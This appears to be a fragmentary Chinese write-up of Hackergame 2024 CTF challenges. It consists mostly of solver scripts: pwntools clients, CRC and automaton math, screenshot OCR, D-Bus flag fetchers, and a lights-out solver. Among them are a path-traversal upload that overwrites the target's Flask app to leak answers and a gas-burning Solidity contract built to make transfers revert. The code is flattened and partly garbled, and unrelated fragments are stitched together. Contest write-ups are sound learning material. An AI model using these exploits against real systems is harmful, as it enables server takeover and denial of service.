Consequently, we propose six types of email spoofing attacks and measure their impact across 16 email services and 20 clients. All 20 clients are configured as MUAs for all 16 providers via IMAP, resulting in 336 combinations (including 16 web interfaces of target providers).
这个应该在各种新闻里都能找到，但我偷懒直接问了 ChatGPT，他直接把源网页和 commit id 6e90b675cf942e50 都丢给我了。 但从之后的对话中我们能看出 ChatGPT 也没有那么靠谱。
找到线路后先搜索了沿途的几个车站，但在地图上都没有找到类似的结构，遂作罢。（这里吐槽一下百度地图对海外 IP 真的不太友好…每次搜索都要做一遍验证码）临近结束的时候才想起来这题还没做，于是从北京北站开始沿着线路找有没有变宽的地方，终于在京新高速龙泽附近找到了能对上的结构。最近的医院就是北京积水潭医院（新龙泽院区）。 我一个北京人怎么都不知道这里还有个积水潭医院
r = remote("202.38.93.141", 14202) r.recvline() r.sendline(os.environ["TOKEN"].encode()) r.recvline()
payload = "" l = list("Z:\\theflag".encode()) + [0, 0xFF] for i inrange(0, len(l), 2): x = [0xFF, 0xFE, l[i], l[i + 1]] s = bytes(x).decode("utf-16") payload += s
trans_table = {} for i inrange(num_state): trans_table[str(i)] = {} for k inrange(len(alphabet)): state = str((i * 2 + int(alphabet[k])) % num_state) if state in trans_table[str(i)]: trans_table[str(i)][state] += "|" + alphabet[k] else: trans_table[str(i)][state] = alphabet[k]
ins = DFA_to_REGEX(trans_table, starting_state, approve_state, alphabet) gnfa = DFA_to_REGEX.dfa_to_gnfa(ins) last_gnfa = DFA_to_REGEX.main(gnfa, sequence_of_elimination) regular_expression = last_gnfa["s"]["f"] ex = regular_expression.replace("e", "")
alphabet = "0123456789" d = dict() for c1 in alphabet: start = libscrc.gsm3(c1.encode()) d[start] = dict() for c2 in alphabet: end = libscrc.gsm3((c1 + c2).encode()) d[start][c2] = end
num_state = 8 starting_state = "7" approve_state = DFA_to_REGEX.filtering_input("0") alphabet = DFA_to_REGEX.filtering_input(",".join(str(i) for i inrange(10))) sequence_of_elimination = ",".join(str(i) for i inrange(8)) sequence_of_elimination = DFA_to_REGEX.filtering_input(sequence_of_elimination)
trans_table = {} for i inrange(num_state): trans_table[str(i)] = {} for k inrange(len(alphabet)): state = str(t[i][alphabet[k]]) if state in trans_table[str(i)]: trans_table[str(i)][state] += "|" + alphabet[k] else: trans_table[str(i)][state] = alphabet[k]
ins = DFA_to_REGEX(trans_table, starting_state, approve_state, alphabet) gnfa = DFA_to_REGEX.dfa_to_gnfa(ins) last_gnfa = DFA_to_REGEX.main(gnfa, sequence_of_elimination) regular_expression = last_gnfa["s"]["f"] ex = regular_expression.replace("e", "")
line = f" poly, poly_degree = 'B{poly}', 48 \n" withopen("2.py", "r") as f: l = f.readlines() l[6] = line withopen("2.py", "w") as f: f.write("".join(l))
from pwn import * import sympy import os import pickle
a, b, x = sympy.symbols("a b x") if os.path.exists("attention.pickle"): withopen("attention.pickle", "rb") as f: N, integral = pickle.load(f) else: N = 101 integral = [None] * N for k inrange(1, N): s = f"x**{2*k} * (1 - x**2)**{k} * (a + b*x**2) / (1 + x**2)" f = sympy.parsing.sympy_parser.parse_expr(s) i = sympy.integrate(f, (x, 0, 1)) i = i.simplify() p = i.coeff(sympy.pi) c = (i - i.coeff(sympy.pi) * sympy.pi).simplify() integral[k] = (p, c)
withopen("inq.pickle", "wb") as f: pickle.dump(integral, f)
r = remote("202.38.93.141", 14514) r.recvline() r.sendline(os.environ["TOKEN"].encode())
for i inrange(n, N): pi, c = integral[i] sol = sympy.solve([pi - 1, c + p / q], (a, b)) sa, sb = sol[a], sol[b] if sa >= 0and sa + sb >= 0: na, da = sa.as_numer_denom() nb, db = sb.as_numer_denom() d = max(da, db) na = sa * d nb = sb * d s = f"x**{2*i}*(1-x**2)**{i}*({na}+{nb}*x**2)/(1+x**2)/{d}" iflen(s) <= 400: print(f"difficulty {n} solution found at {i} with {len(s)} chars") break r.sendline(s.encode())
code = """rm a.py vi a.py i def generate_crc32_table(): table = [] for i in range(256): crc = i for _ in range(8): if crc & 1: crc = (crc >> 1) ^ 0xEDB88320 \belse: crc >>= 1 \b\btable.append(crc) \breturn table CRC32_TABLE = generate_crc32_table() def crc32(data): crc = 0xFFFFFFFF for byte in data: crc = (crc >> 8) ^ CRC32_TABLE[(crc ^ byte) & 0xFF] \bres = crc ^ 0xFFFFFFFF return res.to_bytes(4, byteorder='big') with open("/secret", "rb") as f: c = f.read() \bn = 3400 // 8 for i in [1233]: i *= n #for i in range(1000 * n, len(c), n): s = "" for b in c[i:]: x = bin(b)[2:] s += x.zfill(8) \bprint(s.replace("1", " ")+"0") s = "" for b in crc32(c[i:]): x = bin(b)[2:] s += x.zfill(8) \bprint(s.replace("1", " ")+"0") a = "0"+bin(i//n)[2:].replace("1", " ")+"0" input(a.ljust(30))"""
total_len = 524288 n = 3400 // 8 with mss.mss() as sct: for i inrange(1234): pyautogui.press("enter") time.sleep(1) sct.shot(output=f"img/{i+4000}.png") time.sleep(0.5)
import numpy as np import cv2 import tqdm import os
defgenerate_crc32_table(): table = [] for i inrange(256): crc = i for _ inrange(8): if crc & 1: crc = (crc >> 1) ^ 0xEDB88320 else: crc >>= 1 table.append(crc) return table
CRC32_TABLE = generate_crc32_table()
defcrc32(data: bytes) -> int: crc = 0xFFFFFFFF for byte in data: crc = (crc >> 8) ^ CRC32_TABLE[(crc ^ byte) & 0xFF] res = crc ^ 0xFFFFFFFF return res.to_bytes(4, byteorder="big")
l = [] for filename in os.listdir("img"): im = cv2.imread(f"img/{filename}", cv2.IMREAD_GRAYSCALE) for y inrange(311, 311 + 38 * 36, 38): for x inrange(135, 135 + 20 * 100, 20): l.append(im[y : y + 39, x : x + 21].mean())
x = np.array(l) / 255 x = x.reshape(-1, 36, 100) x = (x < 0.1).astype(np.uint8)
d = dict() for i inrange(x.shape[0]): im = x[i][:34] data = "".join(map(str, im.flatten())) data = int(data, 2).to_bytes(34 * 100 // 8, "big") crc = crc32(data)
n = x[i, 35, :20] n = "".join(map(str, n)).rstrip("1")[1:-1] n = int(n, 2) if crc != valid: # 1233 is expected to fail print(f"image {n} has wrong crc") else: d[n] = data
# last picture is not full screen l = [] im = cv2.imread(f"img/1233.png", cv2.IMREAD_GRAYSCALE) for y inrange(311, 311 + 38 * 36, 38): for x inrange(135, 135 + 20 * 100, 20): l.append(im[y : y + 39, x : x + 21].mean())
im = np.array(l) / 255 im = im.reshape(36, 100) im = (im < 0.1).astype(np.uint8)
data = im[13:-1].flatten() data = "".join(map(str, data)).rstrip("1")[:-1] crc = data[-32:] data = data[:-32] data = int(data, 2).to_bytes(len(data) // 8, "big") crc = int(crc, 2).to_bytes(4, "big") assert crc32(data) == crc d[1233] = data
res = b"" for i inrange(1234): res += d[i] withopen("secret", "wb") as f: f.write(res)
// Attach socket to the port (optional, but useful to reuse the port) if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt))) { perror("setsockopt"); close(server_fd); exit(EXIT_FAILURE); }
// set address and port address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons(PORT);
if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) { perror("failed to bind"); close(server_fd); close(file); exit(EXIT_FAILURE); }
if (listen(server_fd, 1) < 0) { perror("failed to listen"); close(server_fd); close(file); exit(EXIT_FAILURE); }
if ((new_socket = accept(server_fd, (struct sockaddr *)&address, &addrlen)) < 0) { perror("failed to accept connection"); close(server_fd); close(file); exit(EXIT_FAILURE); }
for (int block = 0; block < 128; ++block) { lseek(file, block * BLOCK_SIZE, SEEK_SET); if (readn(file, buffer, BLOCK_SIZE) <= 0) { perror("failed to read from file"); close(new_socket); close(server_fd); close(file); exit(EXIT_FAILURE); }
if (writen(new_socket, buffer, BLOCK_SIZE) < 0) { perror("failed to write to socket"); close(new_socket); close(server_fd); close(file); exit(EXIT_FAILURE); }
lseek(file, block * BLOCK_SIZE, SEEK_SET); if (readn(new_socket, buffer, BLOCK_SIZE) <= 0) { perror("failed to read from socket"); close(new_socket); close(server_fd); close(file); exit(EXIT_FAILURE); }
if (writen(file, buffer, BLOCK_SIZE) < 0) { perror("failed to write to file"); close(new_socket); close(server_fd); close(file); exit(EXIT_FAILURE); } }
// Convert IPv4 address from text to binary form if (inet_pton(AF_INET, SERVER_IP, &serv_addr.sin_addr) <= 0) { perror("Invalid address/ Address not supported"); close(sock); exit(EXIT_FAILURE); }
int n = 0; while (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { if (n++ > 10) { perror("failed to connect"); close(sock); close(file); exit(EXIT_FAILURE); } sleep(1); }
intmain() { int server_fd, new_socket; structsockaddr_inaddress; socklen_t addrlen = sizeof(address); char *buffer[128]; int opt = 1;
int file = open("/space/file", O_RDWR); if (file < 0) { perror("failed to open file"); exit(EXIT_FAILURE); } for (int i = 127; i >= 0; i--) { buffer[i] = malloc(BLOCK_SIZE); if (buffer[i] == NULL) { perror("failed to allocate buffer"); close(file); exit(EXIT_FAILURE); } lseek(file, i * BLOCK_SIZE, SEEK_SET); if (readn(file, buffer[i], BLOCK_SIZE) <= 0) { perror("failed to read from file"); close(file); exit(EXIT_FAILURE); } if (ftruncate(file, i * BLOCK_SIZE) < 0) { perror("failed to truncate file"); close(file); exit(EXIT_FAILURE); } } close(file);
int file1 = open("/space/file1", O_WRONLY | O_CREAT); if (file1 < 0) { perror("failed to open file1"); exit(EXIT_FAILURE); }
int file2 = open("/space/file2", O_WRONLY | O_CREAT); if (file2 < 0) { perror("failed to open file2"); exit(EXIT_FAILURE); }
// Attach socket to the port (optional, but useful to reuse the port) if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt))) { perror("setsockopt"); close(server_fd); exit(EXIT_FAILURE); }
// set address and port address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons(PORT);
if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) { perror("failed to bind"); close(server_fd); close(file1); close(file2); exit(EXIT_FAILURE); }
if (listen(server_fd, 1) < 0) { perror("failed to listen"); close(server_fd); close(file1); close(file2); exit(EXIT_FAILURE); }
if ((new_socket = accept(server_fd, (struct sockaddr *)&address, &addrlen)) < 0) { perror("failed to accept connection"); close(server_fd); close(file1); close(file2); exit(EXIT_FAILURE); }
for (int block = 0; block < 128; ++block) { if (writen(new_socket, buffer[block], BLOCK_SIZE) < 0) { perror("failed to write to socket"); close(new_socket); close(server_fd); close(file1); close(file2); exit(EXIT_FAILURE); }
if (block < 64) { lseek(file1, block * BLOCK_SIZE, SEEK_SET); if (readn(new_socket, buffer[block], BLOCK_SIZE) <= 0) { perror("failed to read from socket"); close(new_socket); close(server_fd); close(file1); close(file2); exit(EXIT_FAILURE); }
if (writen(file1, buffer[block], BLOCK_SIZE) < 0) { perror("failed to write to file"); close(new_socket); close(server_fd); close(file1); close(file2); exit(EXIT_FAILURE); }
free(buffer[block]); } else { lseek(file2, (block - 64) * BLOCK_SIZE, SEEK_SET); if (readn(new_socket, buffer[block], BLOCK_SIZE) <= 0) { perror("failed to read from socket"); close(new_socket); close(server_fd); close(file1); close(file2); exit(EXIT_FAILURE); }
if (writen(file2, buffer[block], BLOCK_SIZE) < 0) { perror("failed to write to file"); close(new_socket); close(server_fd); close(file1); close(file2); exit(EXIT_FAILURE); }
// Convert IPv4 address from text to binary form if (inet_pton(AF_INET, SERVER_IP, &serv_addr.sin_addr) <= 0) { perror("Invalid address/ Address not supported"); close(sock); exit(EXIT_FAILURE); }
int n = 0; while (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { if (n++ > 10) { perror("failed to connect"); exit(EXIT_FAILURE); } sleep(1); }
int file = open("/space/file", O_WRONLY | O_CREAT); if (file < 0) { perror("failed to open file"); close(sock); exit(EXIT_FAILURE); }
for (int block = 0; block < 128; ++block) { if (writen(sock, buffer[block], BLOCK_SIZE) <= 0) { perror("failed to write to socket"); close(sock); close(file); exit(EXIT_FAILURE); }
lseek(file, block * BLOCK_SIZE, SEEK_SET); if (readn(sock, buffer[block], BLOCK_SIZE) <= 0) { perror("failed to read from socket"); close(sock); close(file); exit(EXIT_FAILURE); }
if (writen(file, buffer[block], BLOCK_SIZE) <= 0) { perror("failed to write to file"); close(sock); close(file); exit(EXIT_FAILURE); }
for (i = 0; i < amounts.length; i++) { totalAmount += amounts[i]; }
require(totalAmount == msg.value, "Incorrect total amount");
for (i = 0; i < recipients.length; i++) { recipients[i].transfer(amounts[i]); } } }
flag{Tr4nsf3r_T0_c0nTracT_MaY_R3v3rt_33c5d8b096}
转账又失败
对，对吗？哦对的对的，哦不对不对
1 2 3 4 5 6 7 8 9 10 11 12
// SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0;
contract GasGuzzler { fallback() external payable { // Consume gas in a loop for (uint256 i = 0; i < 1000000; i++) { // Do some computation to consume gas uint256 x = i * i; } } }
// Connect to the system bus connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error); if (connection == NULL) { g_printerr("Failed to connect to system bus: %s\n", error->message); g_error_free(error); return1; }
// Create a pipe if (pipe(pipe_fds) == -1) { perror("pipe"); return1; }
// Write the required message to the write end of the pipe constchar *message = "Please give me flag2\n"; ssize_t written = write(pipe_fds[1], message, strlen(message)); if (written != (ssize_t)strlen(message)) { perror("write"); close(pipe_fds[0]); close(pipe_fds[1]); return1; }
// Close the write end after writing close(pipe_fds[1]);
// Prepare the GUnixFDList with the read end of the pipe GUnixFDList *fd_list = g_unix_fd_list_new_from_array(pipe_fds, 1); gint fd_index = 0;
// Prepare the parameters: a tuple containing the file descriptor index GVariant *parameters = g_variant_new("(h)", fd_index);
// Make the synchronous D-Bus call with the FD list GUnixFDList *out_fd_list; GVariant *result = g_dbus_connection_call_with_unix_fd_list_sync( connection, SERVICE_NAME, // bus name OBJECT_PATH, // object path INTERFACE_NAME, // interface name METHOD_NAME, // method name parameters, // parameters G_VARIANT_TYPE("(s)"), // expected reply type G_DBUS_CALL_FLAGS_NONE, // no flags -1, // default timeout fd_list, // FD list &out_fd_list, // GPT 生成的时候没有给出参！害得我多调了5分钟(x) NULL, // cancellable &error);
// Optional: Explicitly set the process name to "getflag3" // This step ensures that /proc/<pid>/comm contains "getflag3\n" if (prctl(PR_SET_NAME, "getflag3", 0, 0, 0) != 0) { perror("prctl"); // Continue even if setting the name fails }
// Connect to the system bus synchronously connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error); if (!connection) { g_printerr("Failed to connect to the system bus: %s\n", error->message); g_error_free(error); return EXIT_FAILURE; }
// Call the D-Bus method "GetFlag3" result = g_dbus_connection_call_sync( connection, SERVICE_NAME, // Destination OBJECT_PATH, // Object path INTERFACE_NAME, // Interface name METHOD_NAME, // Method name NULL, // Parameters G_VARIANT_TYPE("(s)"), // Expected reply type G_DBUS_CALL_FLAGS_NONE, // no flags -1, // Timeout (default) NULL, // Cancellable &error );
if (result) { // Extract the string from the tuple g_variant_get(result, "(&s)", &flag3); g_print("Flag3: %s\n", flag3); g_variant_unref(result); } else { g_printerr("Error calling D-Bus method %s: %s\n", METHOD_NAME, error->message); g_error_free(error); }
deflights_out(n): A = matrix(GF(2), n * n * n, n * n * n) for i inrange(n): for j inrange(n): for k inrange(n): m = n * n * i + j * n + k * 1 A[(m, m)] = 1 if i > 0: A[(m, m - n * n)] = 1 if i < n - 1: A[(m, m + n * n)] = 1 if j > 0: A[(m, m - n)] = 1 if j < n - 1: A[(m, m + n)] = 1 if k > 0: A[(m, m - 1)] = 1 if k < n - 1: A[(m, m + 1)] = 1 return A
q = 3 if q == 1: l = 3 elif q == 2: l = 5 elif q == 3: l = 11 A = lights_out(l)
r = remote("202.38.93.141", 10098) r.recvline() r.sendline(os.environ["TOKEN"].encode())
r.recvuntil(b"(1~4): ") r.sendline(str(q).encode()) s = r.recvline().decode().strip() b = vector(GF(2), list(map(int, s)))
x = A.solve_right(b) res = "".join(str(i) for i in x) r.recvuntil(b": ") r.sendline(res.encode()) r.interactive()
addr = "" file = """ from flask import Flask app = Flask(__name__) @app.route("/") def index(): with open("answers.json") as f: return f.read() """
requests.post(f"{addr}/submit",files={"file": ("../web/app.py", file)},) response = requests.get(addr) print("".join(chr(x + 65) for x in response.json()))
d = {} for i inrange(2**6): x = (i << 2) + 1 ret = test([x]) d[ret[0]] = i
b = b"" l = [] for c in target: if c notin d: l.append(0) else: l.append(d[c]) iflen(l) == 4: x = (l[0] << 18) | (l[1] << 12) | (l[2] << 6) | l[3] l = [] b += x.to_bytes(3, "big")
In the grand hall of Hackergame 2024, where the walls are lined with screens showing the latest exploits from the cyber world, contestants gathered in a frenzy, their eyes glued to the virtual exploits. The atmosphere was electric, with the smell of freshly brewed coffee mingling with the scent of burnt Ethernet cables. As the first challenge was announced, a team of hackers, dressed in lab coats and carrying laptops, sprinted to the nearest server room, their faces a mix of excitement and determination. The game was on, and the stakes were high, with the ultimate prize being a golden trophy and the bragging rights to say they were the best at cracking codes and hacking systems in the land of the rising sun.
